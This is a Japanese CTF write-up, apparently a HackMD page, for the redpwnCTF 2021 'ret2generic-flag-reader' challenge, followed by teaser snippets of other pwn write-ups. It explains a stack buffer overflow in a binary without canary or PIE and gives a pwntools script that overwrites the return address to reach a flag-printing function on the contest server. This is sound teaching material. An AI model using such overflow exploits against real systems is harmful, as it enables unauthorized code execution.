redpwnCTF 2021
Stack Overflow
Learn More →
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
配布されたC言語のソースファイルを見ると、super_generic_flag_reading_function_please_ret_to_me
という関数があって、その中の処理はFlagを表示している。
またPIE
が無効なのでアドレスは変わらない。したがって、Buffer Overflowしたあとに、ここに飛ばせばいい。
gdbで、そのアドレスを確認すると、以下のアドレスであることがわかる。
0x00000000004011f6 super_generic_flag_reading_function_please_ret_to_me
from pwn import *
#io = process("./ret2generic-flag-reader")
io = remote('mc.ax', 31077)
payload = b""
payload += b"A"*40
payload += p64(0x00000000004011f6)
io.sendlineafter("what do you think?", payload)
io.interactive()
solverのソースコードは、GitHubにあります。 pwn_monster1 TL;DR ncしたら、nameに入力した文字が溢れそうなのでAを大量に入力する FLAG GET writeup ncした結果
Apr 26, 2022CTF後記 最終順位が48位。 Pwnにもう少し難しい問題が来るかなと予想していて、Pwnだけでまぁまぁ点数が取れるんじゃないかと思っていたが、その予想を外した。 みんなが解ける問題(pwn_monster) or 解けない問題(baby_IO_jail) に二極分化されていて悲しい。もう少し...出してほしかった。 ただ、Pwnに関しては、毎回初心者向けCTFでも5割以下の正答率だったので初参加の人にとっては「調べれば解ける」問題だったので良かった。 CryptoやWebなどの他の分野に挑戦するいい機会になった。 それと同時に、CryptoやWebもしっかり学ばないと良い順位を取ることができないことも学んだ。
Sep 6, 2021writeup 問題名からreturn addressを書き換えると予想できる。 Let's debug!!! disass main gef➤ disass main Dump of assembler code for function main: 0x0000000000401191 <+0>: push rbp 0x0000000000401192 <+1>: mov rbp,rsp => 0x0000000000401195 <+4>: mov rax,QWORD PTR [rip+0x2eb4] # 0x404050 <stdout@@GLIBC_2.2.5>
Aug 18, 2021writeup main関数 undefined8 main(void) { int64_t iVar1; char *s1; puts("It\'s battle day archer! Have you got what it takes?"); printf("Answer [yes/no]: "); fflush(_reloc.stdout);
Aug 18, 2021or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up